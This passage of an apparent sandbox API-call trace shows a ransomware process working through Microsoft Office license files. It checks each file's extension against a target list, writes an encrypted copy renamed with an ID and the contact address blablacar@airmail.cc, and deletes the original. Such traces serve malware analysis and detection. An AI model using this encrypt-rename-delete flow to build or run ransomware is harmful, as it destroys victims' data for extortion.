(lpString1=".rar", lpString2="m-ms") returned -1 [0211.073] lstrlenW (lpString=".bz2") returned 4 [0211.073] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0211.073] lstrlenW (lpString=".7z") returned 3 [0211.073] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0211.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_OEM_Perp-ul-phn.xrm-ms") returned 81 [0211.073] lstrlenW (lpString=".dbf") returned 4 [0211.073] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0211.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_OEM_Perp-ul-phn.xrm-ms") returned 81 [0211.073] lstrlenW (lpString=".1cd") returned 4 [0211.073] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0211.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_OEM_Perp-ul-phn.xrm-ms") returned 81 [0211.073] lstrlenW (lpString=".jpg") returned 4 [0211.073] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0211.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_OEM_Perp-ul-phn.xrm-ms") returned 81 [0211.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_OEM_Perp-ul-phn.xrm-ms") returned 81 [0211.073] lstrlenW (lpString=".doc") returned 4 [0211.074] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0211.074] lstrlenW (lpString=".docx") returned 5 [0211.074] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0211.074] lstrlenW (lpString=".pdf") returned 4 [0211.074] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0211.074] lstrlenW (lpString=".xls") returned 4 [0211.074] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0211.074] lstrlenW (lpString=".xlsx") returned 5 [0211.074] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0211.074] lstrlenW (lpString=".ppt") returned 4 [0211.074] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0211.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_OEM_Perp-ul-phn.xrm-ms") returned 81 [0211.074] lstrlenW (lpString=".zip") returned 4 [0211.074] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0211.074] lstrlenW (lpString=".rar") returned 4 [0211.074] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0211.074] lstrlenW (lpString=".bz2") returned 4 [0211.074] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0211.074] lstrlenW (lpString=".7z") returned 3 [0211.074] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0211.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_OEM_Perp-ul-phn.xrm-ms") returned 81 [0211.074] lstrlenW (lpString=".dbf") returned 4 [0211.074] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0211.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_OEM_Perp-ul-phn.xrm-ms") returned 81 [0211.074] lstrlenW (lpString=".1cd") returned 4 [0211.074] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0211.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_OEM_Perp-ul-phn.xrm-ms") returned 81 [0211.074] lstrlenW (lpString=".jpg") returned 4 [0211.074] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0211.075] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0211.075] lstrlenW (lpString="OutlookR_Trial-ul-oob.xrm-ms") returned 28 [0211.075] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_trial-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0211.077] GetFileSizeEx (in: hFile=0x450, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=11596) returned 1 [0211.077] CloseHandle (hObject=0x450) returned 1 [0211.077] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_trial-ul-oob.xrm-ms")) returned 0x220 [0211.077] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Trial-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_trial-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0211.077] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_trial-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0211.078] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0211.078] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0211.078] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Trial-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_trial-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0211.079] GetLastError () returned 0x0 [0211.079] ReadFile (in: hFile=0x450, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x2d4c, lpOverlapped=0x0) returned 1 [0211.268] WriteFile (in: hFile=0x51c, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x2d50, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x2d50, lpOverlapped=0x0) returned 1 [0211.269] ReadFile (in: hFile=0x450, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0211.269] WriteFile (in: hFile=0x51c, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x10c, lpOverlapped=0x0) returned 1 [0211.269] SetEndOfFile (hFile=0x51c) returned 1 [0211.269] CloseHandle (hObject=0x51c) returned 1 [0211.269] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0211.269] SetEndOfFile (hFile=0x450) returned 1 [0211.272] CloseHandle (hObject=0x450) returned 1 [0211.272] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Trial-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0211.272] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookr_trial-ul-oob.xrm-ms")) returned 1 [0211.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Trial-ul-oob.xrm-ms") returned 78 [0211.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Trial-ul-oob.xrm-ms") returned 78 [0211.274] lstrlenW (lpString=".doc") returned 4 [0211.274] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0211.274] lstrlenW (lpString=".docx") returned 5 [0211.274] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0211.274] lstrlenW (lpString=".pdf") returned 4 [0211.274] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0211.274] lstrlenW (lpString=".xls") returned 4 [0211.274] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0211.274] lstrlenW (lpString=".xlsx") returned 5 [0211.274] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0211.274] lstrlenW (lpString=".ppt") returned 4 [0211.274] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0211.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Trial-ul-oob.xrm-ms") returned 78 [0211.274] lstrlenW (lpString=".zip") returned 4 [0211.274] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0211.274] lstrlenW (lpString=".rar") returned 4 [0211.274] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0211.274] lstrlenW (lpString=".bz2") returned 4 [0211.274] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0211.274] lstrlenW (lpString=".7z") returned 3 [0211.274] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0211.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Trial-ul-oob.xrm-ms") returned 78 [0211.274] lstrlenW (lpString=".dbf") returned 4 [0211.274] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0211.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Trial-ul-oob.xrm-ms") returned 78 [0211.274] lstrlenW (lpString=".1cd") returned 4 [0211.274] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0211.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Trial-ul-oob.xrm-ms") returned 78 [0211.274] lstrlenW (lpString=".jpg") returned 4 [0211.274] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0211.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Trial-ul-oob.xrm-ms") returned 78 [0211.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Trial-ul-oob.xrm-ms") returned 78 [0211.275] lstrlenW (lpString=".doc") returned 4 [0211.275] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0211.275] lstrlenW (lpString=".docx") returned 5 [0211.275] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0211.275] lstrlenW (lpString=".pdf") returned 4 [0211.275] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0211.275] lstrlenW (lpString=".xls") returned 4 [0211.275] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0211.275] lstrlenW (lpString=".xlsx") returned 5 [0211.275] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0211.275] lstrlenW (lpString=".ppt") returned 4 [0211.275] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0211.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Trial-ul-oob.xrm-ms") returned 78 [0211.275] lstrlenW (lpString=".zip") returned 4 [0211.275] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0211.275] lstrlenW (lpString=".rar") returned 4 [0211.275] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0211.275] lstrlenW (lpString=".bz2") returned 4 [0211.275] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0211.275] lstrlenW (lpString=".7z") returned 3 [0211.275] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0211.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Trial-ul-oob.xrm-ms") returned 78 [0211.275] lstrlenW (lpString=".dbf") returned 4 [0211.275] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0211.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Trial-ul-oob.xrm-ms") returned 78 [0211.275] lstrlenW (lpString=".1cd") returned 4 [0211.275] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0211.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookR_Trial-ul-oob.xrm-ms") returned 78 [0211.275] lstrlenW (lpString=".jpg") returned 4 [0211.275] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0211.276] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0211.276] lstrlenW (lpString="OutlookVL_KMS_Client-ul.xrm-ms") returned 30 [0211.276] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookvl_kms_client-ul.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0211.276] GetFileSizeEx (in: hFile=0x450, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=9611) returned 1 [0211.276] CloseHandle (hObject=0x450) returned 1 [0211.277] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookvl_kms_client-ul.xrm-ms")) returned 0x220 [0211.277] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_KMS_Client-ul.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookvl_kms_client-ul.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0211.277] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookvl_kms_client-ul.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0211.277] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0211.277] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0211.277] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_KMS_Client-ul.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookvl_kms_client-ul.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0211.278] GetLastError () returned 0x0 [0211.278] ReadFile (in: hFile=0x450, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x258b, lpOverlapped=0x0) returned 1 [0211.285] WriteFile (in: hFile=0x51c, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x2590, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x2590, lpOverlapped=0x0) returned 1 [0211.286] ReadFile (in: hFile=0x450, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0211.286] WriteFile (in: hFile=0x51c, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x110, lpOverlapped=0x0) returned 1 [0211.286] SetEndOfFile (hFile=0x51c) returned 1 [0211.290] CloseHandle (hObject=0x51c) returned 1 [0211.291] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0211.291] SetEndOfFile (hFile=0x450) returned 1 [0211.306] CloseHandle (hObject=0x450) returned 1 [0211.307] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_KMS_Client-ul.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0211.567] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\outlookvl_kms_client-ul.xrm-ms")) returned 1 [0211.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_KMS_Client-ul.xrm-ms") returned 80 [0211.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_KMS_Client-ul.xrm-ms") returned 80 [0211.568] lstrlenW (lpString=".doc") returned 4 [0211.568] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0211.568] lstrlenW (lpString=".docx") returned 5 [0211.568] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0211.568] lstrlenW (lpString=".pdf") returned 4 [0211.568] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0211.568] lstrlenW (lpString=".xls") returned 4 [0211.568] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0211.568] lstrlenW (lpString=".xlsx") returned 5 [0211.568] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0211.568] lstrlenW (lpString=".ppt") returned 4 [0211.568] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0211.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_KMS_Client-ul.xrm-ms") returned 80 [0211.568] lstrlenW (lpString=".zip") returned 4 [0211.568] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0211.568] lstrlenW (lpString=".rar") returned 4 [0211.569] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0211.569] lstrlenW (lpString=".bz2") returned 4 [0211.569] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0211.569] lstrlenW (lpString=".7z") returned 3 [0211.569] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0211.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_KMS_Client-ul.xrm-ms") returned 80 [0211.569] lstrlenW (lpString=".dbf") returned 4 [0211.569] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0211.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_KMS_Client-ul.xrm-ms") returned 80 [0211.569] lstrlenW (lpString=".1cd") returned 4 [0211.569] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0211.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_KMS_Client-ul.xrm-ms") returned 80 [0211.569] lstrlenW (lpString=".jpg") returned 4 [0211.569] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0211.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_KMS_Client-ul.xrm-ms") returned 80 [0211.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_KMS_Client-ul.xrm-ms") returned 80 [0211.569] lstrlenW (lpString=".doc") returned 4 [0211.569] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0211.569] lstrlenW (lpString=".docx") returned 5 [0211.569] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0211.569] lstrlenW (lpString=".pdf") returned 4 [0211.569] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0211.569] lstrlenW (lpString=".xls") returned 4 [0211.569] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0211.569] lstrlenW (lpString=".xlsx") returned 5 [0211.569] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0211.569] lstrlenW (lpString=".ppt") returned 4 [0211.569] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0211.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_KMS_Client-ul.xrm-ms") returned 80 [0211.569] lstrlenW (lpString=".zip") returned 4 [0211.569] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0211.569] lstrlenW (lpString=".rar") returned 4 [0211.569] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0211.569] lstrlenW (lpString=".bz2") returned 4 [0211.570] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0211.570] lstrlenW (lpString=".7z") returned 3 [0211.570] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0211.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_KMS_Client-ul.xrm-ms") returned 80 [0211.570] lstrlenW (lpString=".dbf") returned 4 [0211.570] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0211.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_KMS_Client-ul.xrm-ms") returned 80 [0211.570] lstrlenW (lpString=".1cd") returned 4 [0211.570] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0211.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_KMS_Client-ul.xrm-ms") returned 80 [0211.570] lstrlenW (lpString=".jpg") returned 4 [0211.570] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0211.570] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0211.570] lstrlenW (lpString="PersonalDemoR_BypassTrial180-pl.xrm-ms") returned 38 [0211.570] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personaldemor_bypasstrial180-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0211.571] GetFileSizeEx (in: hFile=0x4d8, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=11203) returned 1 [0211.571] CloseHandle (hObject=0x4d8) returned 1 [0211.571] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personaldemor_bypasstrial180-pl.xrm-ms")) returned 0x220 [0211.571] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalDemoR_BypassTrial180-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personaldemor_bypasstrial180-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0211.571] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personaldemor_bypasstrial180-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0211.572] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0211.572] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0211.572] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalDemoR_BypassTrial180-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personaldemor_bypasstrial180-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0211.572] GetLastError () returned 0x0 [0211.572] ReadFile (in: hFile=0x4d8, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x2bc3, lpOverlapped=0x0) returned 1 [0211.574] WriteFile (in: hFile=0x38c, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x2bd0, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x2bd0, lpOverlapped=0x0) returned 1 [0211.575] ReadFile (in: hFile=0x4d8, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0211.575] WriteFile (in: hFile=0x38c, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x120, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x120, lpOverlapped=0x0) returned 1 [0211.575] SetEndOfFile (hFile=0x38c) returned 1 [0211.576] CloseHandle (hObject=0x38c) returned 1 [0211.576] SetFilePointerEx (in: hFile=0x4d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0211.576] SetEndOfFile (hFile=0x4d8) returned 1 [0211.772] CloseHandle (hObject=0x4d8) returned 1 [0211.772] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalDemoR_BypassTrial180-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0211.991] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\personaldemor_bypasstrial180-pl.xrm-ms")) returned 1 [0211.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalDemoR_BypassTrial180-pl.xrm-ms") returned 88 [0211.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PersonalDemoR_BypassTrial180-pl.xrm-ms") returned 88 [0211.992] lstrlenW (lpString=".doc") returned 4 [0211.992] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0211.992] lstrlenW (lpString=".docx") returned 5 [0211.992] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0211.992] lstrlenW (lpString=".pdf") returned 4 [0211.992] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0211.992] lstrlenW (lpString=".xls") returned 4 [0211.992] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0211.992] lstrlenW (lpString=".xlsx") returned 5 [0211.992] lstrcmpiW 